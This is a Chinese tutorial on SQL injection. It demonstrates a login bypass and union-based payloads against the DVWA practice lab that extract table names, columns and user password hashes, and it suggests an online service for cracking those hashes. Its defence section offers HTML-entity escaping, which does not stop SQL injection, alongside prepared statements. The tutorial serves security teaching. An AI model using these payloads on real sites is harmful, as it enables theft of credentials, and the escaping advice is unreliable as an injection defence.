信息安全（五）

---

一、SQL注入

SQL注入就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

SQL注入成功的原因：

(1)程序编写者在处理应用程序和数据库交互时，使用字符串拼接的方式构造SQL语句。
(2)未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。
最终，用户提交的参数数据未做充分检查过滤即被代入到SQL命令中，改变了原有SQL命令的“语义”，且成功被数据库执行。

如：输入用户名：’ or 1='1

SQL语句被改变成为1=1永远为真，所以就通过了验证成功登录网站。

常见的SQL注入语句：

通过一个单引号‘查看是否触发错误，如果成功，数据库将会返回一个错误。

使用DVWA测试

• 打开DVWA也面，登录，然后修改DVWA Security等级为Low点击submit

• 打开SQL Injection界面，该界面的功能是通过输入User ID查询Username
  如下图所示，我们输入一可以得到下方结果，显示User ID为1的用户。
  

• 输入1’ union select 1,database()#提交，可以得到数据库的名称。如下图所示：
  

• 输入1’ union select 1,table_name from information_schema.tables where table_schema=‘dvwa’#，得到数据库中的表名
  

• 输入1’ union select 1,column_name from information_schema.columns where table_name=‘users’#，得到users表的列名
  

• 输入1’ union select 1,concat(user,password) from users#，得到users表的所有用户名和密码
  下图得到的密码为md5加密密码，我们可以通过 https://www.cmd5.com/ 网站进行解密从而得到真实的密码。
  

二、SQL注入防范措施

过滤特殊符号

在HTML中，某些字符是预留的。例如小于号 < 和大于号 > ，浏览器在解析他们时会误认为它们是标签。如果希望正确地显示预留字符，我们必须在HTML源代码中使用字符实体。
代码如下（示例）：

content=content.replace("<","&lt");
content=content.replace(">","&gt");

利用PreparedStatement方法

SQL中有变量时，用JDBC提供的PreparedStatement方法可以提高SQL语句执行的安全性，该方法要求在执行SQL语句之前，必须告诉JDBC哪些值作为输入参数。

总结

SQL注入可以导致不法分子直接通过代码导致网站SQL语句发生变化从而成为永真语句，可以不通过正常输入账号及密码登录网站，给网站带来了很大的危害。